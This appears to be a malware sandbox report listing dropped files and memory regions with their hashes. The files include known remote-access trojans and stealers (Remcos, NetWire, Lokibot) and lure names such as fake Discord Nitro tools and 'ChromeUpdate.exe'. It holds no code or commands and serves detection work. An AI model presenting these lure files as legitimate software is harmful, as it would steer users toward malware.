SHA256 4da1c19a7cdd07363b2b929212718241ef4f8f54e66e206c8c64e5e801603711
SHA512 4690f10aa0d5404146ba2989d89fc199b5e0589af21243359851c2a6b50e09d4f078065224afe93a870a7c4c48eddafde72b4acf097a30fad644a983a4d721c1

memory/5652-346-0x0000000000400000-0x00000000008A6000-memory.dmp

memory/2388-348-0x00000000075A0000-0x0000000007C1A000-memory.dmp

memory/2388-352-0x0000000006460000-0x000000000647A000-memory.dmp

memory/4296-359-0x00000178895A0000-0x00000178895BE000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Backdoor.Win32.Rbot.aal.exe

MD5 1de4e189f9e847758c57a688553b4f8f
SHA1 1b1580955779135234e4eb3220857e5a8d5168ac
SHA256 c439e919ee06a37656784b922599febcc1d6e2f9a1d43b9ee053e0af345af557
SHA512 9641fd69a2189a26bbf97b725976e3435597bb6a9b90a1404428dc496bb12ef02b8685eea42167f4a340d9e4df622bfb2725e19723b7459856a96aa8a61cd864

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-814918696-1585701690-3140955116-1000\0f5007522459c86e95ffcc62f32308f1_ff916116-d6c5-4773-8db6-adba408f5be7

MD5 d898504a722bff1524134c6ab6a5eaa5
SHA1 e0fdc90c2ca2a0219c99d2758e68c18875a3e11e
SHA256 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9
SHA512 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

memory/5792-381-0x0000000000400000-0x00000000004C7000-memory.dmp

memory/4008-400-0x00000000009B0000-0x0000000000A06000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\cf9c950bc1e2f9cc01c4fa6a83d47227e6c0927c31d0cdb165c7799728cbea85.exe

MD5 2eb17c41af04707b013710e0bff516f2
SHA1 4370006b9e0e2806972da0f20485b3ec3c35ef69
SHA256 cf9c950bc1e2f9cc01c4fa6a83d47227e6c0927c31d0cdb165c7799728cbea85
SHA512 0b979b3308e417c856f766530beeaedbcbaf0613b3cf11c9dba0a20a5ad22537e0966b1de32114d0e5b6afe4f530792d6b5a4f19710cfa4da68af7fc220f3036

memory/3504-451-0x0000000000400000-0x000000000045D000-memory.dmp

memory/3504-472-0x0000000000400000-0x000000000045D000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Discord Free Nitros.exe

MD5 bb48a552c08ce179ad10937fc67b8115
SHA1 65821aa36c874474860e84a436d8a985c7a4df72
SHA256 0b0782bf4aa29ea9e221d4c0f9b477f1ec78b91baa332eed6c6aca830a0d1a4c
SHA512 aceb25c81db39ab8de439b489906e3b46a88219361f39c3124ffa82cbfc03474f682574819b88bb6dea22679bf03ca17caade6111cfc721f21e2ed5de8efa629

C:\Users\Admin\AppData\Local\Temp\Discord Nitro Checker by Unheilgott (1).exe

MD5 0df064a92858ef4d9e5d034d4f23fa7b
SHA1 aed9a8905ddd7296eb394be451a4d72b7d5442b3
SHA256 d1afcd5386c713d7439d6fe2e8c2b2548b4b2c748a6873469daa33dc06c1da8f
SHA512 c35e914428a2f18d2bffc4ee1e9568c62066b48d8f655a9664e27be19a71183c77bc40c2ad39bd5f89e04a774e06caf83daa61a8f80913d6e6f82f3281ba3760

memory/5016-482-0x00000000003E0000-0x00000000003F2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\DISCORD BIRTHDAY NITRO CLAIMER.exe

MD5 c108c1c76a3676b39aabbcf8aa9efb69
SHA1 f340b39f41adc4f47c81b990e5fd214043f1dfbc
SHA256 90b04fd7fe0d8ca43c6aa4affcf5c68a6f977ceeeaba8c0cbfcee4e8435ea460
SHA512 b7e9c67956e5be98adfa8d24fabed4a34972d878ccadba5d55d3e974ba86cf4438d1fc951b424e4575a5d41216b4b5437a73148c64987d32d9960fb2195642de

C:\ProgramData\Hdlharas\mdkhm.zip

MD5 b635f6f767e485c7e17833411d567712
SHA1 5a9cbdca7794aae308c44edfa7a1ff5b155e4aa8
SHA256 6838286fb88e9e4e68882601a13fa770f1b510a0a86389b6a29070a129bf2e5e
SHA512 551ba05bd44e66685f359802b35a8c9775792a12844906b4b53e1a000d56624c6db323754331c9f399072790991c1b256d9114a50fb78111652a1c973d2880af

memory/4688-416-0x0000000000930000-0x000000000098A000-memory.dmp

memory/4008-351-0x0000000000400000-0x00000000008A6000-memory.dmp

C:\ProgramData\Hdlharas\dlrarhsiva.exe

MD5 64261d5f3b07671f15b7f10f2f78da3f
SHA1 d4f978177394024bb4d0e5b6b972a5f72f830181
SHA256 87f51b4632c5fbc351a59a234dfefef506d807f2c173aac23162b85d0d73c2ad
SHA512 3a9ff39e6bc7585b0b03f7327652e4c3b766563e8b183c25b6497e30956945add5684f1579862117e44c6bac2802601fc7c4d2a0daa1824f16c4da1fd6c9c91a

memory/776-601-0x0000000000270000-0x00000000002C2000-memory.dmp

memory/2472-640-0x0000000000E60000-0x0000000000F02000-memory.dmp

memory/2472-694-0x0000000003000000-0x0000000003001000-memory.dmp

memory/2008-749-0x0000000000400000-0x000000000042E000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\SteamOBrute.exe

MD5 e38e580f94d77c830a0dcc7e2213d414
SHA1 de119aa09485d560d2667c14861b506940a744c9
SHA256 a98a0f0fccc2ec41816eb90f66528211f6d9eeb125e0587b6ce2003eded1531e
SHA512 3a35fd9bff863c339dfdf704a42564f6a8e1766b5f8219c2232493a6d6374214b982a617ea0c9736c673322120deb2e1a4ffe5be4ec3008466d09f60457586da

C:\Users\Admin\AppData\Local\Temp\VirusShare_fff8783b7567821cec8838d075d247e1.exe

MD5 fff8783b7567821cec8838d075d247e1
SHA1 86330fec722747aafa5df0b008a46e3baeb30fa7
SHA256 258513db7949cd16330a90b2d46925768631bb54769c8d43dcfe3bf0b2617ab1
SHA512 2e73375b4ca30e320f35ba1e71ebe9f200d997a4b4273904aef7443e77e91482606c09a54921304f6cbf734978f3bb71cd9a56858bab5a8c3640152750da4afa

memory/1620-692-0x0000000003680000-0x0000000003681000-memory.dmp

memory/3504-690-0x0000000003BD0000-0x0000000003BD1000-memory.dmp

memory/5792-688-0x0000000000670000-0x0000000000671000-memory.dmp

memory/4688-686-0x00000000055D0000-0x00000000055D1000-memory.dmp

memory/4008-684-0x00000000024A0000-0x00000000024A1000-memory.dmp

memory/5652-682-0x0000000002510000-0x0000000002511000-memory.dmp

memory/5852-680-0x0000000003240000-0x0000000003241000-memory.dmp

memory/2964-678-0x0000000002ED0000-0x0000000002ED1000-memory.dmp

memory/3020-676-0x0000000006390000-0x0000000006391000-memory.dmp

memory/1316-674-0x0000000002FB0000-0x0000000002FB1000-memory.dmp

memory/5824-672-0x0000000000730000-0x0000000000731000-memory.dmp

memory/3224-670-0x0000000000560000-0x0000000000561000-memory.dmp

memory/1428-668-0x0000000000BC0000-0x0000000000BC1000-memory.dmp

memory/2168-666-0x00000000029D0000-0x00000000029D1000-memory.dmp

memory/812-664-0x0000000000470000-0x0000000000471000-memory.dmp

memory/4816-662-0x00000000005D0000-0x00000000005D1000-memory.dmp

memory/3528-660-0x0000000000F20000-0x0000000000F21000-memory.dmp

memory/4256-658-0x0000000005D00000-0x0000000005D01000-memory.dmp

memory/4840-656-0x00000000016C0000-0x00000000016C1000-memory.dmp

memory/6112-654-0x0000000006C30000-0x0000000006C31000-memory.dmp

memory/2388-652-0x00000000070F0000-0x00000000070F1000-memory.dmp

memory/2360-650-0x0000000007100000-0x0000000007101000-memory.dmp

memory/2360-649-0x00000000070B0000-0x00000000070B2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\0E578184_Rar\LoveForyou.scr

MD5 789183739b41d876a88e2091b75f0343
SHA1 a2ee6612c3a3eb56848ce9e204acb0d1fba63f6e
SHA256 de095132f160cdb9114dbec3e9fdebfa24277d3daf4adf03ca425022d1299605
SHA512 dd199bcdbde2ad421ae708e15696c7a1ce38e9cfaefa13254c1149d5de163fa346c129da08f8f90d01d57b8afb7578ff7ba0f9458466f4df4ae2c5a001e9d082

memory/3852-637-0x00000000022B0000-0x000000000333E000-memory.dmp

memory/3852-636-0x00000000022B0000-0x000000000333E000-memory.dmp

memory/3852-700-0x0000000004690000-0x0000000004692000-memory.dmp

memory/3852-698-0x00000000047E0000-0x00000000047E1000-memory.dmp

memory/2688-696-0x0000000002720000-0x0000000002721000-memory.dmp

memory/3020-773-0x0000000006660000-0x0000000006672000-memory.dmp

memory/1336-780-0x00000227897F0000-0x000002278A104000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\TEAM BLUE CLIENT.exe

MD5 5a6ef8ac2a1c241a538f70c399ce6c5e
SHA1 856a753a699a12986ecbcccf5a7929cb429a6a2f
SHA256 1b904ced16d1c60d7169b06e1b1a1bf1b794c47b3650654d89ad21b643c9ccea
SHA512 b131649c031f28c352561d0fe88ef443322f1366fdcc18ecc01c966498be582947fc9266b7d10415a9660144bcb0093ba81013d8dd2aea0aab7ece9f54e29f51

C:\Users\Admin\AppData\Local\Temp\Totally A Safe File.exe

MD5 1fa9c173c6abaae5709ca4b88db07aa5
SHA1 dc77a5b0aeede04510ad4604ff58af13fd377609
SHA256 3f8fba6c55005a7dc441c57cb7099c0c77d5df62c495e1fcbf17ab06291b4247
SHA512 8bf7ea16e4ac88460842de1ab9abeeccb930d1bd309a8d06e2e33fab96cdd8a6f7a001dede7eedbe3511cba20e8799591e45a1a00bb484899bc255f3af811534

memory/4804-899-0x00000000001A0000-0x0000000000220000-memory.dmp

memory/3472-909-0x000001FF8C3A0000-0x000001FF8C3C4000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Remcos.exe

MD5 fb598b93c04baafe98683dc210e779c9
SHA1 c7ccd43a721a508b807c9bf6d774344df58e752f
SHA256 c851749fd6c9fa19293d8ee2c5b45b3dc8561115ddfe7166fbaefcb9b353b7c4
SHA512 1185ffe7e296eaaae50b7bd63baa6ffb8f5e76d4a897cb3800cead507a67c4e5075e677abdbf9831f3f81d01bdf1c06675a7c21985ef20a4bae5a256fd41cc0f

C:\Users\Admin\AppData\Local\Temp\TrollRAT.exe

MD5 5da0d0251eb1a403ac412110443ff542
SHA1 4e438f3a3ba3d823ea0d1e0fda7a927cc1857db2
SHA256 d45ee24e0a6002f951453c197ed02186ef929198505b3ad60428413c5ca81f05
SHA512 8be7ab902cdc55188544ec5c6c1f64ddc6dba5af06911c5cb683f55cc456624272cf4fb908d634dbb5702da4e79813ea9726a147ab851bd9ddc2f6b2def9bec3

memory/3020-974-0x0000000006BA0000-0x0000000006BDC000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Josh Bogler.exe

MD5 2ff5f278eceba92ec6afc38f31a21c08
SHA1 f9b34e6f7f2fb37ced2146108b4e52269a3835be
SHA256 823e831c3f112251b53dfe90ce379200e4129f28d40ef3c25b1bc98b5c347925
SHA512 10b2d1f2a475652b92271fbe44be2221d5a5e1d964e74212d1a39b3ca75721de1b9e7b1b3920cb43bfe31cdec465d5168b91178aa390402980314028e97bbbc1

memory/1004-1027-0x0000000000DB0000-0x0000000000DC6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Unconfirmed 78105.crdownload.exe

MD5 767f169f6ab6b4b8cc92b73abb0fdbf1
SHA1 d1673e57f2f5ca4a666427292d13aae930885a83
SHA256 46d84f333a9964532f30633542417f08af39de48df9e39451df471e1c4807201
SHA512 04c27c6d32853ace4583b7a915043718fcf6b0cc5a27db52ad48d920e94f77ca5ee6cf8b09e252fdd17ec28c292906d4d8cf1808011786700829d399d39dc2cf

C:\Users\Admin\AppData\Local\Temp\putty.exe

MD5 683e813a4409d6fff5f08976c7dd86a9
SHA1 b1c42226524932cddc063bfdbad8c4b20942f659
SHA256 71b4d7d5103b34d3c7d5cf7a2660911b507bdce6d78bcf3a5071ad0585ade1ba
SHA512 06a109a2f68474da24e01e6dc9f622db313bcb7be389d7b7e5f8f4818f9e1835b273d1e41f32589386fb64c702c7f33ee0329df4ba058444056eb3a13f9f5aec

C:\Users\Admin\AppData\Local\Temp\Instalação do Módulo Adicional de Segurança CAIXA.log

MD5 d223389a70e600c83d8b87af1d6be7db
SHA1 fa2f4485a7735ef6c22a39ed1d3819dddafb54f2
SHA256 f327b0dabb5616425fe97d2029c6fe054cd6d00e21e033e5c4713e7c637b48f0
SHA512 b8570a3d558295dd7bcfb0ca06e74bf2bf327044f1cda085f3894a6afa2f5fd38163486445b18578c37f02c60ba692453f2d3d204d20049ab67576f4c794ecca

C:\Users\Admin\AppData\Local\Temp\VirusShare_0ac0c5dc1e706e301c8f902b78c41e3b.exe

MD5 0ac0c5dc1e706e301c8f902b78c41e3b
SHA1 8045bda3690e0c1004462979f4265b4e77f3bb22
SHA256 574a422e88b46b01a86e64cda85fb5421f872b722ab3a4088fc7c32ad864a6b0
SHA512 45c3c42f3f6425b981fd81b52de86f4e554459d66514a62262890ee236f8cbbdbe2996104ddff012c0a0d59c3131cdd0e9b86151ad6235482028b0f8b720bd8e

C:\Users\Admin\AppData\Local\Temp\._cache_New Text Document mod.exe

MD5 69994ff2f00eeca9335ccd502198e05b
SHA1 b13a15a5bea65b711b835ce8eccd2a699a99cead
SHA256 2e2e035ece4accdee838ecaacdc263fa526939597954d18d1320d73c8bf810c2
SHA512 ced53147894ed2dfc980bcb50767d9734ba8021f85842a53bb4bb4c502d51b4e9884f5f74c4dd2b70b53cafbe2441376675f7bd0f19bb20a3becb091a34fb9f3

C:\Users\Admin\AppData\Local\Temp\RarSFX1\love.exe

MD5 331407eb1cd5dbdcf9cee0a5ebca9f07
SHA1 e8f3de98b17ab4b5436db96fe3c2c71c2c1b37e4
SHA256 51829cb21ec416ec0338cd411a191b37bb6b3b598c3d556cad1e6f172c8ff365
SHA512 60ee09cfd4e42d49d5e1df61818b9218e1dcee8bc1a41c72c7b7fafabb6dafa850ff0448a1bbf1d8cdb2451203b4ff8146339477d93d6a0309730a860ce692f1

memory/6072-792-0x0000000000400000-0x0000000000659000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\NetWire.exe

MD5 7621f79a7f66c25ad6c636d5248abeb9
SHA1 98304e41f82c3aee82213a286abdee9abf79bcce
SHA256 086d35f26bd2fd886e99744960b394d94e74133c40145a3e2bc6b3877b91ec5d
SHA512 59ffcf6eeac00c089e9c77192663d0dc97b2e62cedb6d64fe7dc2e67499abc34e33977e05113c9d39ca6d3e37e8b5c3e6aa926c8526215808b147c0152f7dbfd

memory/3852-606-0x00000000022B0000-0x000000000333E000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\malware.exe

MD5 15f994b0886f7d7c547e24859b991c33
SHA1 bd828f7951b7ff7193943731a79cdf466f4c8def
SHA256 df192e9020c411a26bf28d47b4eb859f5e375013ef250e46b86a930ae67d6bae
SHA512 30a1452dac94ab61313c7f0bc33a79642759363befd5b21067af7197447f5d300e37aae1eb6283e24f4b5e0a885931365273de94f63f1c88ebb8d02a4e4a7ad0

memory/776-624-0x00000000009E0000-0x00000000009F4000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe

MD5 c6040234ee8eaedbe618632818c3b1b3
SHA1 68115f8c3394c782aa6ba663ac78695d2b80bf75
SHA256 bb459869e5ef6d6dd6f0329080d7cb12542c4b37163ae2cd782620adcd7d55a0
SHA512 a3d8c8c6a990797a99887e0e07a01b1e2fe0a4e53df7294fed18a1e856d56a7762e0ab4a8e4689de411acb4fd29b8d7e247fbc696d855a9976a760d33ab60bcf

memory/3852-599-0x0000000000400000-0x0000000000466000-memory.dmp

memory/812-598-0x0000000000400000-0x000000000042E000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Lokibot.exe

MD5 f52fbb02ac0666cae74fc389b1844e98
SHA1 f7721d590770e2076e64f148a4ba1241404996b8
SHA256 a885b1f5377c2a1cead4e2d7261fab6199f83610ffdd35d20c653d52279d4683
SHA512 78b4bf4d048bda5e4e109d4dd9dafaa250eac1c5a3558c2faecf88ef0ee5dd4f2c82a791756e2f5aa42f7890efcc0c420156308689a27e0ad9fb90156b8dc1c0

memory/1004-1065-0x0000000005B30000-0x0000000005B7A000-memory.dmp

memory/776-1149-0x0000000005F90000-0x0000000005FD4000-memory.dmp

memory/6636-1174-0x0000000000400000-0x0000000000501000-memory.dmp

memory/2120-1176-0x000000001CCA0000-0x000000001CD02000-memory.dmp

memory/4008-1216-0x0000000000400000-0x00000000008A6000-memory.dmp

memory/5180-1233-0x0000000000B20000-0x0000000000B28000-memory.dmp

memory/5652-1172-0x0000000000400000-0x00000000008A6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\RarSFX1\ForYou.exe

MD5 a4c8c27672e3bc5ec8927bc286233316
SHA1 381765ead6a38a4861fb2501f41266cb51ca949a
SHA256 fe80a9840598a276f604d2c97c588b66dd81ae21531474e713bead2833a37084
SHA512 e78b351606462b5f52bff7445fcbc6f6c7ea9082b52881dead20297594edc9005820ef6fd2685265f3d112bbead2553f44da3551480b99811641e2c052788bfe

memory/776-1140-0x0000000005CD0000-0x0000000005CD8000-memory.dmp

memory/2120-1078-0x00000000010C0000-0x00000000010C8000-memory.dmp

memory/776-1073-0x0000000004D00000-0x0000000004D08000-memory.dmp

memory/812-1306-0x0000000000400000-0x000000000042E000-memory.dmp

memory/2120-1063-0x000000001C0F0000-0x000000001C18C000-memory.dmp

memory/2120-1062-0x000000001BB80000-0x000000001C04E000-memory.dmp

memory/2716-1467-0x0000000006480000-0x000000000648A000-memory.dmp

memory/6072-1501-0x0000000000400000-0x0000000000659000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\a\g354ff43hj67.exe

MD5 a41636257412c033699c1a011ed43a33
SHA1 2eb7aa5fb3593f649bcefaf881a1568d6315d33d
SHA256 c59eef617ae47d1b1885b1625277a0def737d8b109733418e2ad64cc38ad4377
SHA512 48a3c7cb7e1ad242115040bbd9be3d08ed0e5a397ea62a056e166fca0dcb112cadb6e582a470e2bf79e7368f0147faad6cc646f67de2fc92bfdeb630cd196902

C:\Users\Admin\AppData\Local\Temp\a\jajajdva.exe

MD5 4f0990ea72c03f3911be671cbceb7fda
SHA1 d07332f930099c4af178e4c4adcdf166decdce91
SHA256 b9e894c975b74265c0c359706931d61227c1ab7074cdf981d2d4a5ceacda9290
SHA512 903b441d433b39fb8b2d3cfd658261ad2c62d51e5171b0d1cfc37d058a27c946209b2fc1d9ca4ab3ef369753339a6c6d3845e95249d3b77a08caa2099c40e63a

memory/3076-1624-0x00000000005E0000-0x0000000000608000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\a\crypted.exe

MD5 264c28f35244da45b779e4ead9c6c399
SHA1 f57631c3bec9e05605dfdcf826a63657777d09f3
SHA256 0def0868347c89485ceb5386573bce41ed3a83b343adc3308441f7822988c7d1
SHA512 7d9a11453ea447fb36b20ae289135685468e415a520217f16b4c91cf55fa1afc378c4c3e0e1c0057de3f093dbf53baba5d0bc0e6549534f6e04d5da92d736b40

memory/7056-1630-0x0000000000F10000-0x0000000000FA6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\a\roblox_protected.exe

MD5 30173d85ceebafdf75d0d94b15cdba1d
SHA1 887541fcab6577ba9cbb8f94ea9d3e077f6796cc
SHA256 d75f845cd5523bd25846b962665a31740ec23e44010cd83743f4304240bc3b8b
SHA512 7524301090208a1ee7c847078c108376171bf54fb4cd5493b6d2ba927c79433476791fa2489f93776f978080a127e27dd37597b6d57be7591c3ecd2a52764878

memory/7248-1658-0x0000000000400000-0x0000000000492000-memory.dmp

memory/7224-1663-0x0000000000400000-0x0000000000CF2000-memory.dmp

memory/3172-1692-0x0000000007E40000-0x0000000007E62000-memory.dmp

memory/7224-1694-0x0000000000400000-0x0000000000CF2000-memory.dmp

memory/3172-1691-0x0000000007EE0000-0x0000000007F76000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\a\setup.exe

MD5 baa233893561d2c4bbd4d2519909e5f6
SHA1 985b00751d9e3cfba3e5a0a581eb5d238db9c302
SHA256 39d6c2455cdf6ef9b7b96cbf6172d1a8d3b9d5719b79ff44d47697ec40f7e209
SHA512 2c3fd095e8127383cc8a425859d73e26fb48e9290775fddd7da5c5033fdfb469958000d9c04dafb6bc1f1cec48b8f49a3778c2aeebef4e12b436058f6213db78

memory/7224-1684-0x0000000000400000-0x0000000000CF2000-memory.dmp

memory/7488-1705-0x0000000000A50000-0x0000000000A60000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\a\system.exe

MD5 ba061861481a48da1ae6efb1c678f26c
SHA1 16089c304dc7b702e250ac9c8b8cfc61812c7a21
SHA256 90bfa328b18828073b2ea5d1c3151a5606cb55b26c7660e5ce53a0b9dfc7c0b6
SHA512 67f45fd0897bc591177acedb95fb250c093163a6ef5bba8430c105ce10d48340f33c3fd7d190d468aab6fca2f5d1d155e9f375e4f0552865ebe7677ac8aeb428

C:\Users\Admin\AppData\Local\Temp\53C75E00

MD5 a148c4e8900773cb832ab18a12241edf
SHA1 a78c1e8470a8efb6385d378faa560345abfe294a
SHA256 c6e19c2cbac265162dca3871787994bf4734b550fcd397663477370162c21732
SHA512 48d8a146b09122e153559e7a96af3dbc6cee5fa23773419448deeeea91abc77613de5d404a815fcbd8e82b630048a52c1eb64b08ac4a7e1e4c11a56abc6bc0dc

C:\Users\Admin\AppData\Local\Temp\a\ChromeUpdate.exe

MD5 168e78a7154b2453627f5ca82e9ccced
SHA1 2a1b4df3e681f1b401c1d704351817e4642b8692
SHA256 d311d65ddc8477c84bd77baa9606980515962231ea048e6c65d3d9b1bc527464
SHA512 11d48effa4cf685fd12836222fd0e09d5f7be96b077d0292521e6341f1287b95fa7db5f94b2528bd83f0d7eff1a6c8ccff7270e3cd1fad1625b6c9040394e346

C:\Users\Admin\AppData\Local\Temp\a\sCIPrhZt5Yub9qL.exe

MD5 fa95f352211ab2fb06a579a5da30a526
SHA1 712644b03e92a2fc2c663c0440a49f09ec3fd057
SHA256 1ecc198e5201c2c75116d69ff26703342f7b6c854edfbb9c0af6b3271f05a42e
SHA512 09d56dd2e0c1c2d496d11c4d5fae2ceb7a0f9b2a20e661ea72fe4c794d100a9c5333f8eafe0f7ce447e7223b91b6f0fe35be9124f76d84fb3ea756da9b85e758

C:\Users\Admin\AppData\Local\TempDOTGJEAVF8F5D6NOTXVOSEVKM1MH7PSZ.EXE

MD5 9370caca719d939f5c995adfeb407fda
SHA1 5714d643cf7a2d00fa88a58d4da58a3545f3c1b1
SHA256 ec720d21c833f9b330d2b35d7ffa419e9f8f7bc5d83b9154eed6d39179bebb86
SHA512 a532e5bc64c2d8d016ff4d69a858dc6d4c41c11d94dda0ab98df8e3f73217f9c0f94a886275cdf29fef619de730c366c4aa6fc1205e9806d9be20e63416af67c

memory/8112-1785-0x0000000000EA0000-0x0000000000F62000-memory.dmp

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

MD5 48b9400597df65ef1651c9391e84709b
SHA1 56c73e8221b47a56034b1185593425a4ac33e2f9
SHA256 a0505223f19f976a94e7569bfe5544287e604b3b2b05140c1111ad9362317e79
SHA512 0b98884fda0c424701f9dc290c176087a0cf03a060b3ff601c6b14f2d9d33ea85dc39838ddbe3b8d56386b8f332b56cd4e6a867829b05395926746ff915f4daa

memory/7248-1829-0x0000000006E20000-0x000000000734C000-memory.dmp

memory/7328-1814-0x0000000000EE0000-0x0000000000F1E000-memory.dmp

memory/8112-1856-0x00000000091D0000-0x00000000091E8000-memory.dmp

memory/7368-1974-0x0000000000710000-0x0000000000BC3000-memory.dmp

memory/8496-1971-0x0000000000EC0000-0x0000000001373000-memory.dmp

memory/7368-1795-0x0000000000710000-0x0000000000BC3000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\a\VixenLoader.exe

MD5 9e02078809cf34479e5108fca383862c
SHA1 d82926214ea6cc5f1f162eb526a0a54a5b4068b3
SHA256 02ff75101c0d1cebbc3b45196cb87634af88447fbd7fca2ffe76a21f1d2be703
SHA512 52624e87e688ebadebb658f6a05db09c5543431b2bdd26141a13bdced80838638097781a0b89bd21b59aa14f64becf92663a93d76c7c7325d01fe70ddd6ec512

memory/7224-1990-0x0000000008940000-0x0000000008952000-memory.dmp

C:\Program Files\Google\Chrome\Application\Chrome_boostrap.exe

MD5 af69d667761ef87674be3d231a0ae0e6
SHA1 a938c72cfd162d097391d3f53f0097fda5a9543f
SHA256 55b2905b08f0715379db90291712363f16a80b3bfb33513012cb9ac7cbff4343
SHA512 32a1994162bb873da35f99816b8740b61e8f9b5a3e22e4aa19704848b4760208f23989f174822669a3105719647c3db9145ae0a227cf41d967d50935da66c4ab

memory/6636-1761-0x0000000000400000-0x0000000000501000-memory.dmp

memory/8052-1762-0x0000000000400000-0x000000000043C000-memory.dmp

memory/7224-1757-0x0000000006780000-0x00000000067D0000-memory.dmp

memory/7224-1747-0x0000000006480000-0x00000000064F6000-memory.dmp

memory/7224-1746-0x00000000062B0000-0x0000000006472000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\a\x.exe

MD5 2a0d26b8b02bb2d17994d2a9a38d61db
SHA1 889a9cb0a044c1f675e63ea6ea065a8cf914e2ab
SHA256 3c54646213638e7bd8d0538c28e414824f5eaf31faf19a40eec608179b1074f1
SHA512 07245fb329b5fc9b68e1e88a52b7ab464bafd45442193e4b61cf6788ec0e10cdec2cfa2f59f49fe4a3f8a78a205d62ec0701a3b82a5e8f4257016821fee524ee

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports

MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

memory/7224-2096-0x0000000000400000-0x0000000000CF2000-memory.dmp

memory/8992-2107-0x0000000010000000-0x0000000010038000-memory.dmp

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\GrShaderCache\data_3

MD5 fbfa9092af24bbe1daf600eba4f2634d
SHA1 ae16745d240bb32e27563445e99bbb1b920a63c7
SHA256 2402546aa9c7869b86edbae9983a547274f3202e27831938d7ad8f84213974aa
SHA512 7ffc104519cf409dfcbd73b0bc7c6fcf7fe83eb813e2585fdcdf3326a42cd91346168db4b5bfd3f3a382ac4fdde6a98accc78d19337424f4fbfb196e9b20d92b

memory/8892-2172-0x00000186DFF00000-0x00000186DFF22000-memory.dmp

memory/8052-2182-0x0000000000400000-0x000000000043C000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\AIEDB5C.tmp

MD5 b4d8d9de752b328bf242ef47f924020d
SHA1 0aec056e99efbb482ff8ee89dc027dd18c5611df
SHA256 66818e52632dc95c40c5b9f2c8d2a01d5a5d338ea7f8fec7830adbffe35ae247
SHA512 0bb4c760d319ab3963bb054fadb3fe6da1230e0b0ecb6a05ff0c05518ae46af1f0b158b78f819d3280eba7b82aa38a1d9200fc87ba40805b0a8d50fffd1f5681

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\GrShaderCache\data_1

MD5 f0e8b2d465b8fb762af1b806e7fbee37
SHA1 5e6073ac552664b8d216f29ab5a01ce14c070a9d
SHA256 cfe04fb1b46ffc324795dcf7c7e8497734d48d733632692e40f5b2a3662f6914
SHA512 e670e69821921fa8b935ab0f16914143d3a0841c413d3112b61183f24bd26cddffda58acf45e6e427b16460c2647b70c027780ed43388d1894dfd35f118bf2b5

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\GrShaderCache\data_0

MD5 f86566a26c68324d94f2eb611f5de027
SHA1 78276ac14b8bf51bc2a5730860b735e51c91ff81
SHA256 1461aed8ed3a46056900b9147b3da60f53ef63dede3d796c35c10da538d3031e
SHA512 5d78c2e5104335accf5b03ddc6cf4ebe28c758432a7ae87d6afeb7823c42d565ec60135b49a2f702af8131251a5ce69e359a143d46d02f33dfc98ffd6b777b1a

memory/7224-2076-0x0000000006E40000-0x0000000006E5E000-memory.dmp

memory/6160-1608-0x0000000000400000-0x0000000000456000-memory.dmp

C:\Windows\Temp\is-DUAP9.tmp\Gbpdist\Cef\gmd\is-6GVE8.tmp

MD5 7dea362b3fac8e00956a4952a3d4f474
SHA1 05fe405753166f125559e7c9ac558654f107c7e9
SHA256 af5570f5a1810b7af78caf4bc70a660f0df51e42baf91d4de5b2328de0e83dfc
SHA512 1b7409ccf0d5a34d3a77eaabfa9fe27427655be9297127ee9522aa1bf4046d4f945983678169cb1a7348edcac47ef0d9e2c924130e5bcc5f0d94937852c42f1b

memory/9620-3642-0x0000000000400000-0x000000000043C000-memory.dmp

memory/7576-3876-0x000000006DB40000-0x000000006DB8C000-memory.dmp

memory/7576-3923-0x0000000007660000-0x0000000007703000-memory.dmp

memory/7576-3909-0x00000000068B0000-0x00000000068CE000-memory.dmp

memory/7576-3875-0x0000000006870000-0x00000000068A2000-memory.dmp

C:\Windows\Temp\is-DUAP9.tmp\Gbpdist\Cef\is-CCQ1O.tmp

MD5 0587eb3fc5c202fe37ff5b963ccd23f3
SHA1 73d1dd319d47b9d6cce7269eb3bfa331fd909357
SHA256 1fb099d2c1f675b2a3514c3cedcbb75c8b00ef76bc485dab18825e1c8b5ff6ba
SHA512 cf674f5ec6538056325cb14c5916a707e46caf9411d689cfa15d2feede677a8ff97d169f46a96c38a0133aead0a7fbd0f03f8b8d383c77eafae18ee4b400e0df

memory/8496-4070-0x0000000000EC0000-0x0000000001373000-memory.dmp

memory/9512-4069-0x0000000000400000-0x000000000056D000-memory.dmp

